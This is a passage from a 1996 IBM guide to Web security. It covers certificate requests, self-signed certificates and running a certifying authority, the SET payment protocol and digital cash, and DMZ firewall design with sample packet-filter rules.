4. Fill in the details and click on OK. You will be prompted to specify a file in
which the certificate request is stored. Write down the file name.
When you have saved the certificate request you will be returned to the main
key management dialog. At this point you should see that your new key is in
the key ring, as shown in Figure 44 on page 72.
Chapter 5. A Web of Trust: Managing Encryption Keys
71
Figure 44. Private Key in Key Ring But No Certificate Yet
5. Next you should take the certificate request file and send it in the body of an
E-mail message to [email protected] The certificate signing
process is automatic, so you do not need to put any other information in the
message. You should receive the signed certificate back within a few
minutes.
6. Receive the signed certificate into a file. Then return to the key
management dialog and select Key Ring and then Read Certificate from the
menu bar. Specify the file name and click on OK.
Beware the padding
If you have problems with sending or receiving certificates via E-mail,
check that your E-mail system has not padded the certificate text with
blanks. There should be no blanks on the end of any of the lines in the
certificate.
Now you have a complete, usable key pair and the key management dialog
should show a display like that in Figure 45.
Figure 45. Private Key with Certificate in Key Ring
7. Select File, Save As and save your new key ring file.
72
Safe Surfing: How to Build a Secure WWW Connection
8. Finally, go to Secure WebExplorer, select Security and then Specify Key Ring
from the menu bar and select the new key ring. You are now ready to sign
S-HTTP messages.
5.2.3 Creating a Self-Signed Certificate
We have said (5.1.1, “Certifying Authorities” on page 66) that a public-key
certificate may contain a certificate chain . That is, a sequence of certificates
which validate a hierarchy of certificate authorities, with the actual client or
server key at the end of the chain. As well as adding to the CA hierarchy, you
can imagine levels being removed from it. At the simplest level you can reduce
the certificate chain to its most trivial; a single certificate, not signed by any CA.
This is called a self-signed certificate, meaning that the public-key owner is
vouching for himself.
It turns out that a self-signed certificate is very easy to create. The certificate
requests that we created in 5.2.1, “Requesting a Server Certificate from a Known
CA” on page 68 and 5.2.2, “Requesting a Client Persona Certificate” on page 70
are in fact in certificate format, so they can be used directly as self-signed
certificates.
Why would you be interested in using self-signed certificates? There are two
main reasons:
1. For test purposes. Using self-signed certificates you can set up secure
communications without needing to involve other parties, such as Verisign.
2. To establish yourself as a Certifying Authority. You may want to set up a
secure environment between different parts of your own enterprise, in which
case you could act as a CA just for that limited domain.
To create a self-signed certificate you first create a certificate request, using
either of the methods described previously. However, instead of sending it to be
signed you just receive the certificate request into your key ring directly. You
will find a step-by-step description of how to do this in Appendix C, “A
Step-By-Step Guide to Building an SSL and S-HTTP Demo System” on page 151.
5.2.4 Acting As a Certifying Authority
If you want to administer your own trust domain for secure Web connections you
need to set up your own CA. In practical terms, this means the following:
•
Your CA needs a self-signed public-key certificate and the servers and
clients within your domain must accept it as a trusted root key.
•
You need to be able to sign certificates using the CA private key.
The IBM Internet Connection Secure Servers provide the certutil command for
performing the latter function. The certutil command reads a certificate request
from standard input and writes the signed certificate to standard output. The
syntax of the command is as follows:
certutil -p xxx -k ca_keyring < cert_request_file > signed_cert_file
Where xxx is the number of days for which the certificate will be valid,
ca_keyring is the file name of the CA key ring, cert_request_file is the certificate
request and signed_cert_file is the signed certificate.
We now describe, at a high level, the different procedures for running your own
CA. If you want to try the procedures out, you will find a step-by-step description
Chapter 5. A Web of Trust: Managing Encryption Keys
73
in Appendix C, “A Step-By-Step Guide to Building an SSL and S-HTTP Demo
System” on page 151.
5.2.4.1 Procedures for Running Your Own CA
There are three elements to running your own CA: creating the CA key ring,
providing certificates for servers and providing certificates for clients.
Creating the CA Key Ring
1. Using either the server key management forms or the Secure WebExplorer
key management application, create a new key ring.
2. Generate a new key pair. This will place the private key in your key ring and
also produce a certificate request.
3. Receive the certificate request into your key ring. You will now have a
functioning key pair with a self-signed certificate.
4. Designate the new key pair as a trusted root. This means you are saying ″I
trust myself″.
Providing a Certificate for a Server: Now a server in your organization wants to
be able to sign and encrypt using a public key signed by your CA. This involves
the following steps:
1. Send the CA certificate request file created in “Creating the CA Key R i n g ” to
the server.
2. On the server, generate a new key pair in a new server key ring, using the
key management forms. This will place the private key in the key ring and
also produce a certificate request.
3. Receive the CA certificate request file into the server key ring.
4. Change the server default key ring to be the one you have just created.
5. Designate the CA certificate as a trusted root key.
6. Send the certificate request you created in step 2 to the CA system.
7. Run the certutil command at the CA to sign the server′ s certificate request.
8. Send the signed certificate back to the server and receive it into the key ring.
9. Make the server key the default key for the key ring.
Providing a Certificate for a Client: Now a client in your organization wants to
be able to connect to the server that we configured above. The steps involved
are the same as in the server case, except that the Secure WebExplorer key
management dialog is used:
1. Send the CA certificate request file created in “Creating the CA Key R i n g ” to
the client.
2. On the client, create a new key ring and generate a new key pair using the
key management dialog. This will place the private key in the key ring and
also produce a certificate request.
3. Receive the CA certificate request file into the client key ring (the key
management dialog will complain that it is a self-signed certificate, but it will
still receive it).
4. Designate the CA certificate as a trusted root key.
74
Safe Surfing: How to Build a Secure WWW Connection
If the client does not wish to sign messages (that is, no client authentication),
you can skip to the last step. However, for full S-HTTP function you should
continue.
5. Send the certificate request you created in step 2 to the CA system.
6. Run the certutil command at the CA to sign the client′ s certificate request.
7. Send the signed certificate back to the client and receive it into the key ring.
8. Make the client key into the default key for the key ring.
9. Save the new client key ring and activate it in Secure WebExplorer.
5.3 Practical Implications of Certifying Authorities
You have seen that when you customize Secure WebExplorer and the Secure
Web Server you automatically get a keyring that contains a number of
pre-defined trusted root keys. These are the keys of current certifying
authorities. You would see the same thing if you installed any other SSL or
SHTTP capable product, for example Netscape Navigator. By having the
certifying authorities built into the product in this way you can immediately start
handling public key certificates, on the assumption that the CAs themselves are
trustworthy.
There are two problems with this approach:
1. There is no mechanism for updating the root keys. So, for example, if a new
CA is created you will not know whether to trust the certificates that it signs.
As more and more applications make use of public key techniques, this
becomes a serious inhibitor to their widespread use. Even worse, what
happens if one of the CAs becomes compromised so that you can no longer
trust the certificates it signs? There is no automatic way to remove the old
CA certificate and replace it.
2. The second problem is this: a certificate is issued for a given period, during
which time it tells you that the owner of the public key can be trusted. What
happens if the certifying authority determines that the key owner cannot , in
fact, be trusted? Without some mechanism for revoking certificates, the end
user has no way to know that the key is suspect and will continue to accept
the certificate until it expires.
The question of new CAs can be addressed by using a certificate hierarchy (see
Figure 41 on page 66), in which any new CA is certified by an existing high-level
CA. The question of revocation of certificates can be handled by using a
certificate revocation list (CRL). However, these approaches require an
infrastructure which allows certificates and CRLs to be distributed in a reliable
and secure way. Such an infrastructure is also necessary to allow online issuing
of client certificates, assuming that such certificates will become widespread
(see 6.2.3, “The SET Certificate Scheme” on page 81 for an example of this).
At the time of writing there are several developments in progress to address
these problems. They are based on two pieces of technology that facilitate
distributed online certification and certificate revocation, namely X.509 Version 3
certificates and the Lightweight Directory Access Protocol (LDAP).
X.509 V3
X.509 is the standard used to define public key certificates. Version 3
of the standard increases the flexibility of the certificate, by providing
an extension facility to add extra information to the certificate
Chapter 5. A Web of Trust: Managing Encryption Keys
75
structure. One use for such extensions is to identify a directory
server from which revocation information can be obtained. The
extensions also allow certificates to include additional application
specific information, such as a credit card number, for example.
LDAP
The accepted standard for distributed directory access is X.500.
However the full X.500 service is not a practical solution for directory
access to most desktop systems, not least because it assumes a full
OSI transport layer. Lightweight directory access protocol (LDAP)
was developed by the University Michigan as a way to provide access
to X.500 directories, such as may be used by a certifying authority,
from less capable client systems using TCP/IP.
We expect that a combination of these technologies will be combined with
secure communication protocols, such as SSL, to deliver a certification structure
which will support online issuing and revocation of certificates.
76
Safe Surfing: How to Build a Secure WWW Connection
Chapter 6. Money Makes the Web Go Round: Secure Electronic
Transactions
We have seen how secure protocols are used to assure the privacy and integrity
of Web transactions. We have also seen how certification schemes can provide
us with assurances about the authenticity of the session partners. However, real
transactions are more complicated than simple relationships between one client
and one server.
The main factor driving the introduction of Web security protocols is the desire to
use the Internet for business transactions; in particular for credit card purchases.
SSL or S-HTTP can be used to secure the session between the purchaser and
the merchant. However, there are other parties involved in the transaction, such
as the credit card provider and the purchaser′s bank. In this chapter we will
consider proposed and implemented schemes that cater for this real-world
complexity, particularly the Secure Electronic Transaction (SET) specification.
In fact, there have been electronic relationships between merchants and
financial institutions for many years. When you walk into a store and pay with a
credit card it kicks off a chain of transactions that verify your card, check your
credit and, finally, debit your account. Online payment systems extend this
model to include the purchaser into the web of electronic connections, and to
use the Internet as a communications vehicle.
There are several electronic transaction operations already in place. Some of
them are associated with one or two financial institutions, such as the
mechanism used by the Internet′s first bank: First National Online Bank, FSB
(http://www.sfnb.com). Others are independent credit card validation services,
such as the CyberCash system from CyberCash Inc. The SET specification is an
attempt by the giants of the credit card business, MasterCard and Visa, to define
a standard approach to credit card transactions.
6.1 Digital Cash Systems
Credit cards are not the only type of payment mechanism in use on the Web.
Others do not use credit cards at all, but use some form of digital cash . In these
schemes the purchaser withdraws cash, in the form of authenticated tokens,
from his online bank account. He can then use those tokens to purchase goods
or services. Figure 46 on page 78 illustrates the process.
 Copyright IBM Corp. 1996
77
Figure 46. The Digital Cash Process
This is the sequence of events in a digital cash transaction (the numbers refer to
the numbers on the diagram):
1. The purchaser decides to withdraw some digital cash from his online bank
account. The software on the purchaser′s PC calculates how many tokens
(or electronic coins ) it needs to ask for and then creates random numbers to
represent each token. The tokens are masked (for privacy) and then sent in
a request message to the bank.
2. The bank signs each token using its private key and returns them. It also
debits the purchaser′s account by the value of the tokens.
3. The purchaser now has some digital cash, authenticated by the bank. The
next step is to surf to the Web site of the merchant (the online store) and
order some goods. The purchaser chooses an option to pay with digital cash
and the PC software sends the appropriate number of tokens to the
merchant.
4. The merchant immediately resends the tokens to the online bank, which
validates them (checks that they have not been used before, for example)
and credits the merchant′s account.
The benefit of digital cash is that it provides privacy to the purchaser. The
purchaser only has to reveal the minimum information needed to ensure that the
goods arrive at the right place. His credit card number is never in the hands of
the merchant, so there is little benefit for a thief who tries to pose as a
merchant.
The problems with digital cash are, first, that the purchaser has to have money
in the bank and, secondly, the purchaser has to withdraw cash before making a
payment. This is less convenient from the point of view of the purchaser and
less effective from the point of view of the merchant. For the merchant, one of
78
Safe Surfing: How to Build a Secure WWW Connection
the attractions of selling using the World Wide Web is the ease with which the
customer can indulge in impulse buying. Using a credit card this only becomes
painful when the monthly bill comes in, whereas going to the digital bank for
cash gives the customer a constant reminder of the effect of his wanton ways.
6.2 The Secure Electronic Transaction Specification
SET is the outcome of an agreement by MasterCard International and Visa
International to cooperate on the creation of a single electronic credit card
system. Prior to SET, each organization had proposed its own protocol and each
had received support from a number of networking and computing companies.
Now, most of the major players are behind the SET specification (for example,
IBM, Microsoft, Netscape and GTE).
In the following sections we will describe at a high level the components and
processes that make up the specification. If you want to know more you can
download the SET documentation from http://www.mastercard.com/set/set.htm.
6.2.1 SET Roles
The SET specification defines several roles involved in the payment process:
1. The merchant . This is any seller of goods, services or information.
2. The acquirer . This is the organization that provides the credit card service
and keeps the money flowing. The most widely known acquirers are
MasterCard and Visa.
3. The issuer . This is the organization that issued the card to the purchaser in
the first place. Usually this is a bank or some other financial institution who
should know better.
4. The cardholder . This is the Web surfer, who has been given a credit card by
the issuer and now wants to exercise his purchasing power on the Web.
5. The acquirer payment gateway . This provides an interface between the
merchant and the bankcard network used by the acquirer and the issuer. It
is important to remember that the bankcard network already exists. The
acquirer payment gateway provides a well-defined, secure interface to that
established network from the Internet. Acquirer payment gateways will be
operated on behalf of the acquirers, but they may be provided by third party
organizations, such as Internet services companies.
6. The certificate authority . SET processing uses public key cryptography, so
each element of the system need one or more public key certificates.
Several layers of CA are described in the specification (we will discuss SET
certificates in 6.2.3, “The SET Certificate Scheme” on page 81).
6.2.2 SET Transactions
The SET specification describes a number of transaction flows for purchasing,
authentication, payment reversal, etc. Figure 47 on page 80 shows the
transactions involved in a typical online purchase.
Chapter 6. Money Makes the Web Go Round: Secure Electronic Transactions
79
Figure 47. Typical SET Transaction Sequence
The diagram shows the following transactions (each transaction consists of a
request/response pair):
1. PInit
This initializes the system, including details such as the brand of
card being used and the certificates held by the cardholder.
SET does not insist that cardholders have signing certificates,
but it does recommend them. A cardholder certificate binds the
credit card account number to the owner of a public key. If the
acquirer receives a request for a given card number signed with
the cardholders public key, it knows that the request came from
the real cardholder. To be precise, it knows that the request
came from a computer where the cardholder′s keyring was
installed and available. It could still be a thief who had stolen
the computer and cracked the keyring password.
2. Purchase Order This is the actual request from the cardholder to buy
something. The request message is in fact two messages
combined, the order instruction (OI) which is sent in the clear to
the merchant and the purchase instruction (PI) which the
80
Safe Surfing: How to Build a Secure WWW Connection
merchant passes on to the acquirer payment gateway. The PI is
encrypted in the public key of the acquirer, so the merchant
cannot read it. The merchant stores the message for later
transmission to the acquirer. The PI also includes a hash of the
OI, so the two messages can only be handled as a pair. Note
that the card number is only placed in the PI portion of the
request. This means that the merchant never has access to it,
thereby preventing a fraudulent user from setting up a false
store front to collect credit card information.
The purchase order has a response, which is usually sent (as
shown here) after acquirer approval has been granted.
However, the merchant can complete the transaction with the
cardholder before authorization, in which case the cardholder
would see a message that the request was accepted pending
authorization.
3. Authorization In this request the merchant asks the acquirer, via the acquirer
payment gateway, to authorize the request. The message
includes a description of the purchase and the cost. It also
includes the PI from the purchase order that the cardholder
sent. In this way the acquirer knows that the merchant and the
cardholder both agree on what is being purchased and the
amount.
When the acquirer receives the request it uses the existing bank
card network to authorize the request and sends back an
appropriate response.
4. Inquiry
The cardholder may want to know how his request is getting on.
The SET specification provides an inquiry transaction for that
purpose.
5. Capture
Up to this point, no money has changed hands. The capture
request from the merchant tells the acquirer to transfer the
previously authorized amount to its account.
In fact, capture can be incorporated as part of the authorization
request/response (see above). However there are situations in
which the merchant may want to capture the funds later. For
example, most mail order operations do not debit the credit card
account until the goods have actually been shipped.
There are several other transactions within the SET specification, but the
summary above shows the principles on which it is based.
6.2.3 The SET Certificate Scheme
The SET specification envisions hundreds of thousands of participants worldwide.
Potentially, each of these would have at least one public key certificate. In fact
the protocol calls for an entity to have multiple certificates in some cases. For
example, the acquirer payment gateways need one for signing messages and
another for encryption purposes.
Key management on such a large scale requires something beyond a simple,
flat certification structure (see 5.1.1, “Certifying Authorities” on page 66). The
organization of certifying authorities proposed for SET is shown in Figure 48 on
page 82.
Chapter 6. Money Makes the Web Go Round: Secure Electronic Transactions
81
Figure 48. SET Certifying Authorities
At the top of the
under extremely
card brand joins
brand level CAs
each credit card
certificate chain, the root certifying authority is to be kept offline
tight arrangements. It will only be accessed when a new credit
the SET consortium. At the next level in the hierarchy, the
are also very secure. They are administered independently by
brand.
Under each brand there is some flexibility permitted for different operating
policies. It would be possible to set up CAs based on region or country for
example. At the base of the CA hierarchy are the CAs that provide certificates
for merchants, cardholders and acquirer payment gateways. The SET
specification provides protocols for merchants and cardholders to request
certificates online. It is important to have a simple process because SET aims to
encourage cardholders to have their own certificates. It envisions the
cardholder surfing to the CA Web site, choosing a ″request certificate″ option to
invoke the certificate request application on the browser and then filling in a
form to send and receive the certificate request.
Of course, if the system allows certificates to be created easily it must also be
able to revoke them easily, in the event of a theft or other security breach. The
SET specification includes some certificate update and revocation protocols for
this purpose. Although the mechanism for requesting a certificate may be
82
Safe Surfing: How to Build a Secure WWW Connection
simple, there is still a need for user education. For example, it is obvious that a
cardholder should notify the credit card company if his wallet is stolen, but less
obvious that he should also notify them if his computer is stolen. However, if the
computer includes his keyring file containing the private key and certificate, it
could allow the thief to go shopping at the cardholders expense.
6.3 The Future of Secure Electronic Transactions
Given the number and size of organizations backing the protocol, we can safely
assume that SET will be widely implemented and that client and server code for
it will be available for most platforms. This broad support also assures that the
cost to the merchant and cardholder of being part of the SET structure will be
small. As long as the certificate processing (above) is made to be simple to
understand and use, SET should become very successful. It is likely to become
the common standard for secure payments on the Internet during 1997.
Where does that leave the simpler, two-party, security protocols, such as SSL
and S-HTTP? At the moment the prime use of SSL is in online shopping, for
protecting credit card information. SET will gradually supplant this, if only
because the credit card companies will mandate its use. However, there is still
a place for the other protocols, particularly SSL, for protecting sensitive and
private data. An obvious area for this is in online banking, protecting financial
records and transactions that access the user′s account. Other applications will
undoubtedly remain, maybe even the WWW University that we suggested in
Chapter 1.
Chapter 6. Money Makes the Web Go Round: Secure Electronic Transactions
83
84
Safe Surfing: How to Build a Secure WWW Connection
Chapter 7. Locking the Front Door: Firewall Considerations
We have seen in Chapter 2 and Chapter 3 some ways to protect World Wide Web
connections at the application level. But security at the application level is
worthless if you do not protect against attack at the lower layers of the network.
In fact, it can be argued that having secure applications only increases the
reliance on the underlying protection because it is guarding more valuable
resources. The most critical place to have protection is the point at which your
safe and secure world meets the untamed world of the Internet. It is here that
firewalls come into play.
The World Wide Web brings new headaches for companies that want to install an
Internet firewall. Before the Web, they were generally installing a gateway for
the benefit of their own people. A firewall could be set up with very strict
controls, simply acting as a mail gateway and, maybe, providing a tightly
controlled proxy server to allow internal users access to Internet services. The
World Wide Web changes that picture, first because internal users now want
much easier and more wide-ranging access. Secondly, instead of just providing
a service to their own users, the keeper of the firewall is also providing a service
to users of the web site, who may be from anywhere in the known universe.
If you are providing a service on the Internet you want it to be universally
accessible. However, at the same time you have to guard your server machine
with proper care unless your goal is to end up as yet another hacker victim.
There are various ways to set up externally available servers and we will show
the basic principle here. The main objective is to avoid having any services
hosted in your own, secure, network that are directly accessible from the
Internet. You should never have an externally available server behind the
firewall, it must be either outside the firewall or within a multisystem firewall.
Furthermore, you do not want intruders to break into the server, so it needs as
much protection as the inside network.
The client end of the session needs protection as well, but here most of the
protection is user education, as only a few of the threats can be disabled
automatically. This chapter will guide you through the points that need to be
considered at both ends of the connection.
As this publication focuses on Web services and not on firewalls, we will not
show complete firewall setups. For more information on firewalls we suggest
reading Building a Firewall with the IBM Internet Connection Secure Network
Gateway , SG24-2577 or Building Internet Firewalls , by D Brent Chapman and
Elizabeth Zwicky (O′Reilly 1995,ISBN: 1-56592-124-0).
7.1 Protecting the Server
There are several issues that have to be considered when protecting the server:
•
Is the server only providing support for WWW (http,shttp,https), or are other
services such as FTP supported as well?
Each of the services must be checked for potential problems and in the case
of FTP you must be aware that a second, FTP-data, connection is opened
from the server to the client, which makes filter design a bit more
complicated. Each service will have its own security problems that need to
 Copyright IBM Corp. 1996
85
be handled properly (for example, with HTTP you must consider CGI scripts,
with FTP you must consider writeable directories).
•
How is the data on the server updated?
Do you have automated mechanisms that are risky (rdist), is it just FTP or do
you have no remote updates at all?
•
Is remote maintenance access for the server allowed/required?
If you are really paranoid then even login from the secure network for
maintenance might be forbidden. Most people will allow remote
maintenance from the inside. There might be a need for remote
maintenance from the outside in which case one should consider additional
authentication methods such as one-time passwords. Encrypted tunnels
between firewalls might be in order when allowing updates via the Internet.
•
Does the server need to access secure network resources dynamically?
Sometimes there is dynamic data that resides on server systems inside the
secure network, but needs to be available in real time on the outside. This
will require special protocols for data transfer that cannot be misused.
•
Is the server accessible for inside users as well?
To avoid duplication of data and the synchronization processes involved, you
often want the server to be directly accessible from inside the secure
network as well as from outside.
•
Is the firewall environment used only for this server or for other kinds of
access as well?
Most companies that are setting up a Web service also need to provide Web
access for their staff. While large companies often use different firewalls for
these two functions, most sites will not want to invest the money in multiple
firewalls. But you should at least separate the gateway machine for the
inside users from the externally accessible server.
•
Is there only publicly available data on the server or does it provide also
protected data?
If the server provides data that is only accessible for authorized users, then
you typically need much more protection as well as authentication. We have
discussed the operation and limitations of the HTTP basic authentication
system already (see Chapter 2, “Be Careful Who You Talk To: HTTP Basic
Security” on page 7). In addition to worrying about whether the protocol is
secure enough, you should also think about how to administer it in a safe
and effective manner.
The classic way to set up externally available services is to use a demilitarized
zone (DMZ), often referred to as a screened subnet. This basic design then can
be varied according to the environment in which the server has to operate. A
DMZ is a special network that sits between the hostile outside network and the
secure inside network. This mini network is protected from the outside via a
packet filter. The inside is again protected from this mini network by yet another
filter.
It is tempting to consider using the Web server to provide additional services for
the secure network, for example a mail relay or a caching Web server. You
should avoid doing this because any security breach in the Web server would
affect the other services and might open up a hole to the inside. You should aim
to keep each server as simple as possible: ideally one service per machine. The
86
Safe Surfing: How to Build a Secure WWW Connection
following examples will ignore mail relays and outbound Internet gateways.
They should be treated differently and handled on a separate machine.
7.1.1 A Classic DMZ Setup
For a classic DMZ setup you need at least three systems: two packet filters and
one server as illustrated by Figure 49.
Figure 49.
A Classic D M Z Setup
This establishes a network that is neither inside nor outside, a screened subnet.
The outside filter will allow only WWW traffic from the outside to the server but
not to the inside. The inside router will allow only traffic to the server but not
traffic from the server to the inside.
The numbered arrows in Figure 49 show the different types of session that the
two parts of the firewall must be configured to accept:
1. Sessions from clients in the secure network to servers in the internet. These
are broken at the inner firewall by means of a proxy service, such as
SOCKS. The proxy establishes the second part of the session and the outer
filter is configured to allow that session to be established. The advantages
of this setup is that you can control who has access to Internet applications
at the proxy server, but as far as the real target server is concerned, all
sessions originate on the firewall itself. This means that a hacker will not be
able to see potential targets in the secure network.
2. Sessions from Internet clients to your servers are permitted through the
outer filter, but blocked at the inner filter. This means that users can only
access the services you want them to use, located in the DMZ.
3. Support sessions, usually server-to-server, are allowed through the outer
filter, but broken by relay applications on the inner firewall. These relay
applications are like a kind of non-return valve, designed to reveal Internet
information to secure network users, but to prevent information about the
secure network from reaching Internet users. So for example, a user in the
secure network can perform name resolution for Internet hosts, but the only
Chapter 7. Locking the Front Door: Firewall Considerations
87
local address mapping information made available to Internet hosts is for
servers in the DMZ.
4. The ideal situation is for the inner filter to block all traffic, so that all
sessions are broken and only forwarded by a proxy or relay application. In
practice, however, there are likely to be some administration and business
data connections that need to be made between the DMZ servers and secure
network hosts. The inner filter is configured to allow these through, but they
should be blocked at the outer filter.
The IBM Internet Connection Secured Network Gateway can be used to set up
the packet filters or you could buy packet filtering routers for this task.
What level of filtering do you need on the outside gateway? As a minimum we
recommend that the router must be able to filter on the following criteria:
•
Source and destination IP address
•
Protocol used
•
Source and destination port
•
SYN/ACK bit (this allows the filter to determine which session partner
initiated a TCP/IP connection)
•
The interface the packet came through
In addition, there must be no way to bypass the routing/filtering rules with IP
source routing and the router has to ignore ICMP redirect requests. Ideally the
router needs to be able to log rejected packets in some way. Secured Network
Gateway is currently the only IBM product that satisfies all of these
requirements, so the samples given will refer to the packet filter implementation
of the Secured Network Gateway only.
AIX Version 4
Secured Network Gateway Version 2 will now run on AIX Version 4.
However, the behavior of TCP/IP changed with AIX Version 4 so that it does
not, by default, route IP packets between different interfaces.
When setting up an AIX Version 4 system as a router, be sure to add:
/usr/sbin/no -o ipforwarding=1
to the end of /etc/rc.net, otherwise the machine will not route any packets.
We will now illustrate the use of packet filtering rules using the sample DMZ
configuration shown in Figure 50 on page 89.
88
Safe Surfing: How to Build a Secure WWW Connection
Figure 50.
A Sample D M Z Setup
The format of the SNG packet filter rules is as follows:
permit/deny source-addr source-mask dest-addr dest-mask protocol
source-port dest-port interface local/route direction
The address and mask parameters control which IP addresses are acceptable
for message source or destination. The protocol and port parameters define
which TCP/IP or UDP/IP services are acceptable. Finally the interface,
local/route and direction parameters allow you to filter based on which interface
a message appears on and where its destination lies.
The examples in the following sections provide only the minimum set of rules to
make the system work for World Wide Web traffic. On a production setup, you
would also have rules for domain name service (DNS) and any additional
application gateways that may be in the DMZ.
We assume that the server will send E-mail messages to the inside and the
maintenance of the server is done with standard TCP-based protocols from the
inside. Assuming this, a setup like the one in Figure 50 and a server that
supports only the World Wide Web protocols, the following rules could be used
on the packet filters.
7.1.1.1 Outside Filter Rules
Figure 51 on page 90 shows the rules that should be defined on the outer router
(between the Internet and the DMZ). These rules only allow the following traffic
to flow:
•
Clients accessing the Web server from across the Internet (both normal
HTTP and SSL)
•
Domain name service requests in both directions
•
ICMP requests
•
Sessions for maintaining the router and debugging session setup problems
•
Audit log traffic
Chapter 7. Locking the Front Door: Firewall Considerations
89
# Disable Spoofing of DMZ addresses from the outside
deny 192.168.10.0 0xffffff00 0 0 all any 0 any 0 non-secure both inbound
# Disable Spoofing of inside addresses from the outside
deny 9.24.104.0 0xffffff00 0 0 all any 0 any 0 non-secure both inbound
# allow outside access to the server on port 80 (www)
permit 0 0 192.168.10.3 0xffffffff tcp ge 1024 eq 80 both route both
permit 192.168.10.3 0xffffffff 0 0 tcp/ack eq 80 ge 1024 both route both
# allow outside access to the server on port 443 (SSL)
permit 0 0 192.168.10.3 0xffffffff tcp ge 1024 eq 443 both route both
permit 192.168.10.3 0xffffffff 0 0 tcp/ack eq 443 ge 1024 both route both
# Allow DNS queries to get through
permit 192.168.10.3 0xffffffff 0 0 udp ge 1024 eq 53 both route both
permit 0 0 192.168.10.3 0xffffffff udp eq 53 ge 1024 both route both
# Allow pings to the server (implies other ICMP messages!!)
permit 0 0 192.168.10.3 0xffffffff icmp any 0 any 0 both both both
permit 192.168.10.3 0xffffffff 0 0 icmp any 0 any 0 both both both
# Allow traceroute to the server (needs ICMP for answers)
permit 0 0 192.168.10.3 0xffffffff udp ge 32768 ge 32768 both both both
# Allow pings to the router (implies other ICMP messages!!)
permit 0 0 192.168.10.1 0xffffffff icmp any 0 any 0 both both both
permit 192.168.10.1 0xffffffff 0 0 icmp any 0 any 0 both both both
permit 0 0 10.0.0.1 0xffffffff icmp any 0 any 0 both both both
permit 10.0.0.1 0xffffffff 0 0 icmp any 0 any 0 both both both
# Allow traceroute to the router (needs ICMP for answers)
permit 0 0 192.168.10.1 0xffffffff udp ge 32768 ge 32768 both local both
permit 0 0 10.0.0.1 0xffffffff udp ge 32768 ge 32768 both local both
# Allow inside access to the router for remote maintenance:
permit 9.24.104.0 0xffffff00 192.168.10.1 0xffffffff tcp ge 1024 any 0 secure local inbound
permit 192.168.10.1 0xffffffff 9.24.104.0 0xffffff00 tcp/ack any 0 ge 1024 secure local outbound
permit 192.168.10.1 0xffffffff 9.24.104.0 0xffffff00 tcp eq 20 ge 1024 secure local outbound
# allow syslog traffic to the log host:
permit 192.168.10.1 0xffffffff 9.24.104.0 0xffffff00 udp ge 1024 eq 514 secure local outbound
Figure 51. Filter Rules for Outside Router
7.1.1.2 Inside Filter Rules
Figure 52 on page 91 shows the rules that should be defined on the inner router
(between the secure network and the DMZ). These rules only allow the following
traffic to flow:
90
•
TCP/IP sessions to the Web server and outer router from the secure network
(for maintenance and for internal access to the server)
•
ICMP requests
•
Mail between the DMZ systems and the secure network
•
Audit log traffic
Safe Surfing: How to Build a Secure WWW Connection
# Disable Spoofing of internal addresses from the outside
deny 9.24.104.0 0xffffff00 0 0 all any 0 any 0 non-secure both inbound
# Allow access from the inside to the server and the outer router
permit 9.24.104.0 0xffffff00 192.168.10.0 0xfffffffc tcp ge 1024 any 0 both both both
permit 192.168.10.0 0xfffffffc 9.24.104.0 0xffffff00 tcp/ack any 0 ge 1024 both both both
permit 9.24.104.0 0xffffff00 9.24.104.76 0xffffffff tcp ge 1024 any 0 both both both
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 tcp/ack any 0 ge 1024 both both both
# allow ftp from the inside to the server + router (needed for the FTP-data hack)
permit 192.168.10.0 0xfffffffc 9.24.104.0 0xffffff00 tcp eq 20 ge 1024 both both both
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 tcp eq 20 ge 1024 both both both
# ICMP to the router from the inside
permit 9.24.104.0 0xffffff00 9.24.104.76 0xffffffff icmp any 0 any 0 secure local inbound
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 icmp any 0 any 0 secure local outbound
# Allow mail from the server+router to the inside
permit 192.168.10.0 0xfffffffc 9.24.104.0 0xffffff00 tcp ge 1024 eq 25 both route both
permit 9.24.104.0 0xffffff00 192.168.10.0 0xfffffffc tcp/ack eq 25 ge 1024 both route both
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 tcp ge 1024 eq 25 secure local outbound
permit 9.24.104.0 0xffffff00 9.24.104.76 0xffffffff tcp/ack eq 25 ge 1024 secure local inbound
# allow syslog messages from the Web server and the outside filter to the inside
permit 192.168.10.0 0xfffffffc 9.24.104.0 0xffffff00 udp ge 1024 eq 514 non-secure route both
permit 192.168.10.0 0xfffffffc 9.24.104.0 0xffffff00 udp ge 1024 eq 514 secure route both
# allow syslog messages from this system to the inside
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 udp ge 1024 eq 514 secure local outbound
Figure 52. Filter Rules for the Inside Router
7.1.1.3 Protecting the Server Itself
The server itself should run only the necessary daemons and nothing else.
Please see Chapter 8, “Locking the Back Door: Hardening the Underlying
System” on page 99 for more details on how to set up the server.
7.1.1.4 Using Only One Packet Filter
When buying a router with packet filtering capabilities, you may consider buying
one with three network interfaces and thereby saving the expense of one router
(that is, effectively collapsing the DMZ into a single machine). This mandates
that the router can distinguish between all three interfaces and can filter packets
according to which of the interfaces it arrives on. Only then can rules be set up
so that all the three interfaces are fully controlled.
Secured Network Gateway currently only distinguishes between secure and
non-secure interfaces, so it is not well suited for this task. You should also
consider that if there is only one router between the inside and the outside,
there is only one system that needs to be broken into to get inside access. For
this reason we recommend, instead, the setup described in the following section
if you want to reduce the hardware cost of a DMZ.
7.1.2 Using a Simplified Server Setup
A full blown DMZ scenario is too costly for some situations, particularly if you
consider that the classic scenario shown in Figure 50 on page 89 does not yet
include application gateways that are needed to allow other Internet access,
such as Web access for browsers in the inside network. Using routers in
addition to the servers may generate more maintenance problems as there are
more architectures involved. You might want to consider the simplified setup
shown in Figure 53 on page 92 which consists of two RISC System/6000 server
systems that are both protected with Secured Network Gateway.
Chapter 7. Locking the Front Door: Firewall Considerations
91
Figure 53.
A Simplified Server Firewall Setup
In this configuration, the server is
acts as a router to the application
used to protect the inside network
to grant access to the Internet for
protected by Secured Network Gateway and
gateway. The application gateway will then be
from the outside. In addition, it can be used
inside systems.
The following filter rules do not reflect all the configuration entries needed for
the application services that run on the application gateway. They will only show
the minimal configuration needed. To make it possible to do maintenance from
the inside, you need to re-enable the normal FTP daemon on the Web server as
the proxy. The FTP daemon that is installed with Secured Network Gateway is
designed only to pass data from one side to the other. It will not allow access to
the local system.
7.1.2.1 Filter Rules for the Web Server
Figure 54 shows the rules that should be defined on the machine that is doubling
